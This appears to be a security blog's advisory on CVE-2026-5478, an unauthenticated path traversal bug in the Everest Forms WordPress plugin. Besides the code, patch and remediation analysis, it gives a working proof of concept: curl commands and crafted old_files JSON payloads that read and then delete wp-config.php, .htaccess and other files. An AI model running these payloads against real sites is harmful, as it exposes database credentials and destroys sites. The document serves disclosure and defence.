Everest Forms WordPress plugin banner

CVE-2026-5478: Path Traversal File Read in Everest Forms

CVE-2026-5478 is a CVSS 8.1 (High) unauthenticated path traversal vulnerability in the Everest Forms WordPress plugin. An unauthenticated attacker can inject a path-traversal payload into the old_files parameter of any public form submission. The plugin then attaches the targeted files — including wp-config.php — to the admin notification email. After the email is sent, that code also calls unlink(), permanently deleting the file from the server.

Vulnerability Summary

FieldValue
Plugin NameEverest Forms – Contact Form, Payment Form, Quiz, Survey & Custom Form Builder
Plugin Slugeverest-forms
CVE IDCVE-2026-5478
CVSS Score8.1 (High)
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeUnauthenticated Arbitrary File Read and Deletion via Path Traversal
Affected Versions<= 3.4.4
Patched Version3.4.5
PublishedApril 20, 2026
Researcherll
Wordfence AdvisoryLink

Description

The Everest Forms plugin for WordPress is vulnerable to Arbitrary File Read and Deletion in all versions up to, and including, 3.4.4. The plugin treats old_files data from public form submissions as trusted server state. It converts those URLs into local filesystem paths using simple regex replacement — without canonicalization (resolving .. to the real path) or checking that the result stays inside the uploads folder.

Unauthenticated attackers can inject path-traversal payloads into old_files. The plugin attaches the targeted files — including wp-config.php — to the admin notification email. The same path resolution runs in the post-email cleanup routine. After sending the email, the plugin calls unlink() on that path — permanently deleting the file.

This can lead to full site compromise through disclosure of database credentials and authentication salts from wp-config.php, and denial of service through deletion of critical files.

However, three conditions must be met for the attack to work.

Prerequisite: The Everest Forms Save and Continue addon must be active (defines EVF_SAVE_AND_CONTINUE_VERSION), the form must contain a file-upload or image-upload field, and the form setting “Disable storing entry information” (disabled_entries = 1) must be enabled.

Technical Analysis

Vulnerable Code Path

Step 1 — Reading old_files from POST with no sanitization

File: includes/class-evf-form-task.php (line 546–548)

if ( in_array( $field_type, array( 'file-upload', 'image-upload' ) ) && defined( 'EVF_SAVE_AND_CONTINUE_VERSION' ) ) {
    $field_submit['new_files'] = isset( $_POST[ 'everest_forms_' . $form_id . '_' . $field_id ] ) ? stripslashes_deep( $_POST[ 'everest_forms_' . $form_id . '_' . $field_id ] ) : array();
    $field_submit['old_files'] = isset( $_POST[ 'everest_forms_' . $form_id . '_old_' . $field_id ] ) ? stripslashes_deep( $_POST[ 'everest_forms_' . $form_id . '_old_' . $field_id ] ) : array();

stripslashes_deep() only removes backslash escaping — it does not validate the content. An unauthenticated attacker can supply any array of JSON strings in everest_forms_{form_id}_old_{field_id}[].

Step 2 — Merging injected old_files into $data without URL validation

File: includes/abstracts/class-evf-form-fields-upload.php (lines 1306–1318)

if ( isset( $field_submit['old_files'] ) ) {

    $old_data = array_map(
        function ( $file ) {
            $decoded = json_decode( $file, true );
            return is_array( $decoded ) ? $decoded : array();
        },
        $field_submit['old_files']
    );

    $data = array_merge( $data, $old_data );
}

The plugin decodes each JSON string from old_files and merges the resulting array directly into $data. No checks are performed on $decoded['value'] — an attacker-supplied URL like https://victim.com/wp-content/../wp-config.php is accepted without modification.

Step 3 — Path traversal in attach_entry_files_upload() for file read

File: includes/abstracts/class-evf-form-fields-upload.php (lines 1660–1669)

} elseif ( isset( $meta_value['type'] ) && ( 'file-upload' === $meta_value['type'] && isset( $meta_value['value_raw'] ) || 'image-upload' === $meta_value['type'] && isset( $meta_value['value_raw'] ) ) ) {
    foreach ( $meta_value['value_raw'] as $file_data ) {
        if ( isset( $file_data['value'] ) ) {
            $file_url      = $file_data['value'];
            $uploaded_file = ABSPATH . preg_replace( '/.*wp-content/', 'wp-content', wp_parse_url( $file_url, PHP_URL_PATH ) );

            if ( ! in_array( $uploaded_file, $entry_files ) && file_exists( $uploaded_file ) ) {
                $entry_files[] = $uploaded_file;
            }
        }
    }
}

For an injected URL of https://victim.com/wp-content/../wp-config.php, the path resolution works like this:

  1. wp_parse_url($file_url, PHP_URL_PATH)/wp-content/../wp-config.php
  2. preg_replace('/.*wp-content/', 'wp-content', ...)wp-content/../wp-config.php
  3. ABSPATH . 'wp-content/../wp-config.php'/var/www/html/wp-content/../wp-config.php
  4. The OS resolves .. during file_exists(), finding /var/www/html/wp-config.php
  5. The file is added to $entry_files and attached to the notification email

File: includes/abstracts/class-evf-form-fields-upload.php (lines 1574–1583)

if ( isset( $meta_value['type'] ) && ( 'file-upload' === $meta_value['type'] && isset( $meta_value['value_raw'] ) || 'image-upload' === $meta_value['type'] && isset( $meta_value['value_raw'] ) ) ) {
    foreach ( $meta_value['value_raw'] as $file_data ) {
        if ( isset( $file_data['value'] ) ) {
            $file_url = $file_data['value'];

            $uploaded_file = ABSPATH . preg_replace( '/.*wp-content/', 'wp-content', wp_parse_url( $file_url, PHP_URL_PATH ) );
            if ( file_exists( $uploaded_file ) ) {
                unlink( $uploaded_file );
            }
        }
    }
}

The identical path resolution runs in the post-email cleanup routine. After the notification email is delivered with wp-config.php as an attachment, unlink() is called on the traversal-resolved path, permanently deleting the file.

Hook registrations connecting the above

File: includes/abstracts/class-evf-form-fields-upload.php (lines 41–43)

add_filter( 'everest_forms_email_file_attachments', array( $this, 'send_file_as_email_attachment' ), 99, 6 );
add_action( 'everest_forms_remove_attachments_after_send_email', array( $this, 'remove_csv_file_after_email_send' ), 10, 6 );

send_file_as_email_attachment calls attach_entry_files_upload() (the file read step) when disabled_entries = 1. remove_csv_file_after_email_send (the deletion step) fires immediately after the email is sent.

Root Cause

The root cause is trusting attacker-supplied file references without boundary enforcement. The old_files POST parameter is designed to carry references to previously-uploaded files during a multi-step “Save and Continue” session. The plugin decodes these references and uses them as the real filesystem paths with no validation that the resolved path stays within the WordPress uploads directory. The regex preg_replace('/.*wp-content/', 'wp-content', ...) strips the URL origin but keeps .. path segments intact. The OS then resolves those segments when file_exists() and unlink() run.

Why Existing Controls Failed

Attack Impact

An unauthenticated attacker with access to a public form can:

Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only.

Prerequisites

Step-by-Step Reproduction

Step 1: Retrieve the form submission nonce

Visit any page where the form is embedded and extract the nonce from the form HTML:

SITE_URL="https://victim.example.com"
FORM_ID=1
FIELD_ID="everest_forms_field_0"

# Fetch the page and extract the nonce (adjust the grep pattern to match your form ID)
curl -s "$SITE_URL/contact/" | grep -oP "_wpnonce${FORM_ID}\s*value=\"\K[^\"]*"

Note the nonce value as NONCE.

Step 2: Craft the malicious old_files payload

The payload is a JSON-encoded file reference where value contains a path-traversal URL pointing to wp-config.php. The hostname in the URL must match the target site (the plugin does not validate the origin strictly — only the path is used):

# Craft the JSON payload that will traverse from wp-content to wp-config.php
PAYLOAD='{"value":"https://victim.example.com/wp-content/../wp-config.php","name":"wp-config.php","file_name_new":"wp-config.php","file_url":"https://victim.example.com/wp-content/../wp-config.php","type":"file-upload"}'

Step 3: Submit the form with the injected old_files parameter

SITE_URL="https://victim.example.com"
FORM_ID=1
FIELD_ID="everest_forms_field_0"
NONCE="<nonce from Step 1>"

curl -s -X POST "$SITE_URL/wp-admin/admin-ajax.php" \
  -d "action=everest_forms_submit" \
  -d "everest_forms[id]=$FORM_ID" \
  -d "_wpnonce${FORM_ID}=$NONCE" \
  -d "everest_forms[form_fields][${FIELD_ID}][]=" \
  --data-urlencode "everest_forms_${FORM_ID}_old_${FIELD_ID}[]=${PAYLOAD}"

Alternatively, if the form submits to a page URL (non-AJAX):

curl -s -X POST "$SITE_URL/contact/" \
  -d "everest_forms[id]=$FORM_ID" \
  -d "_wpnonce${FORM_ID}=$NONCE" \
  -d "everest_forms[form_fields][${FIELD_ID}][]=" \
  --data-urlencode "everest_forms_${FORM_ID}_old_${FIELD_ID}[]=${PAYLOAD}"

Step 4: (File Deletion variant) — Trigger deletion without read

If the form does NOT have notification email configured but disabled_entries = 1 is set, the deletion still fires via remove_csv_file_after_email_send. Submitting the same payload will cause unlink() to be called on the resolved path after any email attempt, deleting wp-config.php.

To target a different critical file, change the value field. Examples:

# Delete .htaccess
'{"value":"https://victim.example.com/wp-content/../.htaccess","name":".htaccess",...}'

# Read/delete a plugin's license key file
'{"value":"https://victim.example.com/wp-content/../wp-content/plugins/some-plugin/license.key","name":"license.key",...}'

Expected Result

Verification

For file read:

For file deletion:

Patch Analysis

What Changed

The fix is concentrated in two files:

  1. includes/abstracts/class-evf-form-fields-upload.php — core path-validation logic
  2. includes/class-evf-form-task.php — defense-in-depth: sanitize $field_submit before populating from POST

Fix Explanation

New method: resolve_uploads_file_from_url() (3.4.5, line 1759)

The patch introduces a dedicated validation method that enforces strict directory boundary checking:

protected function resolve_uploads_file_from_url( $file_url ) {
    if ( empty( $file_url ) || ! is_string( $file_url ) ) {
        return false;
    }

    $file_url        = esc_url_raw( $file_url );
    $upload_dir      = wp_get_upload_dir();
    $uploads_baseurl = trailingslashit( $upload_dir['baseurl'] );
    $uploads_basedir = wp_normalize_path( trailingslashit( $upload_dir['basedir'] ) );

    // Must start with the uploads base URL — rejects wp-config, .htaccess, etc.
    if ( 0 !== strpos( $file_url, $uploads_baseurl ) ) {
        return false;
    }

    $path      = wp_parse_url( $file_url, PHP_URL_PATH );
    $base_path = wp_parse_url( $uploads_baseurl, PHP_URL_PATH );

    if ( ! is_string( $path ) || ! is_string( $base_path ) || 0 !== strpos( $path, $base_path ) ) {
        return false;
    }

    $relative_path = ltrim( substr( $path, strlen( $base_path ) ), '/' );
    $candidate     = wp_normalize_path( $uploads_basedir . $relative_path );
    $resolved_path = realpath( $candidate );   // canonicalization — resolves ..

    if ( false === $resolved_path ) {
        return false;
    }

    $resolved_path = wp_normalize_path( $resolved_path );

    // After canonicalization, path must STILL be inside uploads dir
    if ( 0 !== strpos( $resolved_path, $uploads_basedir ) || ! is_file( $resolved_path ) ) {
        return false;
    }

    return $resolved_path;
}

The key defense is realpath() followed by strpos($resolved_path, $uploads_basedir): after all .. segments are resolved, the canonical path must remain inside uploads/. Any traversal attempt that escapes the uploads directory causes the method to return false, and the caller skips the file.

format() method — validated old_files merging (3.4.5, lines 1362–1386)

if ( isset( $field_submit['old_files'] ) && is_array( $field_submit['old_files'] ) ) {

    $validated_old_data = array();

    foreach ( $field_submit['old_files'] as $file ) {
        $decoded = json_decode( $file, true );

        if ( ! is_array( $decoded ) || empty( $decoded['value'] ) || ! is_string( $decoded['value'] ) ) {
            continue;
        }

        $resolved_path = $this->resolve_uploads_file_from_url( $decoded['value'] );

        if ( false === $resolved_path ) {
            continue;    // reject traversal payloads
        }

        $decoded['value']     = esc_url_raw( $decoded['value'] );
        $validated_old_data[] = $decoded;
    }

    if ( ! empty( $validated_old_data ) ) {
        $data = array_merge( $data, $validated_old_data );
    }
}

class-evf-form-task.php — defense-in-depth unset (3.4.5)

if ( in_array( $field_type, array( 'file-upload', 'image-upload' ), true ) ) {
    if ( is_array( $field_submit ) ) {
        unset( $field_submit['old_files'], $field_submit['new_files'] );  // clear any injected values
    }

    if ( defined( 'EVF_SAVE_AND_CONTINUE_VERSION' ) ) {
        // ... then re-populate from POST
    }
}

The patch unconditionally clears old_files and new_files from $field_submit. It re-populates them only when the Save and Continue addon is active. This ensures no stale or injected values reach the format() call.

Is the fix complete? Yes. The combination of:

  1. realpath() canonicalization before directory boundary check
  2. Strict strpos($resolved_path, $uploads_basedir) check post-canonicalization
  3. Proactive unset() of old_files/new_files in the task handler

closes the traversal vector at every point in the execution chain. The deleted_files processing in the task handler was also similarly hardened with uploads_baseurl prefix checks.

Code Diff (Key Changes)

-		if ( isset( $field_submit['old_files'] ) ) {
-
-			$old_data = array_map(
-				function ( $file ) {
-					$decoded = json_decode( $file, true );
-
-					return is_array( $decoded ) ? $decoded : array();
-				},
-				$field_submit['old_files']
-			);
-
-			$data = array_merge( $data, $old_data );
-		}
+		if ( isset( $field_submit['old_files'] ) && is_array( $field_submit['old_files'] ) ) {
+
+			$validated_old_data = array();
+
+			foreach ( $field_submit['old_files'] as $file ) {
+				$decoded = json_decode( $file, true );
+
+				if ( ! is_array( $decoded ) || empty( $decoded['value'] ) || ! is_string( $decoded['value'] ) ) {
+					continue;
+				}
+
+				$resolved_path = $this->resolve_uploads_file_from_url( $decoded['value'] );
+
+				if ( false === $resolved_path ) {
+					continue;
+				}
+
+				$decoded['value']     = esc_url_raw( $decoded['value'] );
+				$validated_old_data[] = $decoded;
+			}
+
+			if ( ! empty( $validated_old_data ) ) {
+				$data = array_merge( $data, $validated_old_data );
+			}
+		}
-    $uploaded_file = ABSPATH . preg_replace( '/.*wp-content/', 'wp-content', wp_parse_url( $file_url, PHP_URL_PATH ) );
-    if ( ! in_array( $uploaded_file, $entry_files ) && file_exists( $uploaded_file ) ) {
-        $entry_files[] = $uploaded_file;
+    $resolved = $this->resolve_uploads_file_from_url( $file_url );
+    if ( false !== $resolved && ! in_array( $resolved, $entry_files ) ) {
+        $entry_files[] = $resolved;

Timeline

DateEvent
UnknownVulnerability discovered and reported by researcher “ll”
April 20, 2026Publicly disclosed by Wordfence
April 20, 2026Patched version 3.4.5 released

Remediation

Update the everest-forms plugin to version 3.4.5 or later.

If an immediate update is not possible:

References

  1. https://plugins.trac.wordpress.org/browser/everest-forms/tags/3.4.4/includes/abstracts/class-evf-form-fields-upload.php#L1306
  2. https://plugins.trac.wordpress.org/browser/everest-forms/tags/3.4.4/includes/abstracts/class-evf-form-fields-upload.php#L1665
  3. https://plugins.trac.wordpress.org/browser/everest-forms/tags/3.4.4/includes/abstracts/class-evf-form-fields-upload.php#L1581
  4. https://plugins.trac.wordpress.org/changeset/3507814/everest-forms

Frequently Asked Questions

What is CVE-2026-5478?

CVE-2026-5478 is a CVSS 8.1 High severity unauthenticated path traversal vulnerability in the Everest Forms WordPress plugin that lets any visitor read and permanently delete arbitrary files from the server, including wp-config.php.

Which versions of Everest Forms are affected by CVE-2026-5478?

All versions up to and including 3.4.4 are affected. Version 3.4.5 contains the fix and is safe to use.

What can an attacker do with CVE-2026-5478?

An attacker can read any file the web server can access — including wp-config.php, which contains database credentials and authentication keys — by having it emailed to the site owner. The attacker can also permanently delete critical files like wp-config.php, taking down the entire site.

Does an attacker need to be logged in to exploit CVE-2026-5478?

No. Any unauthenticated visitor who can reach a public form on the site can exploit this vulnerability. No WordPress account or special privileges are required.

How do I fix CVE-2026-5478 in Everest Forms?

Update the Everest Forms plugin to version 3.4.5 or later through your WordPress dashboard under Plugins, Updates. If you cannot update immediately, deactivate the Save and Continue addon or disable the Disable storing entry information setting on all forms with file upload fields.

Has Everest Forms been patched for CVE-2026-5478?

Yes. Version 3.4.5 was released on April 20, 2026 and fully resolves this vulnerability by enforcing strict directory boundary checks on all file references.

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee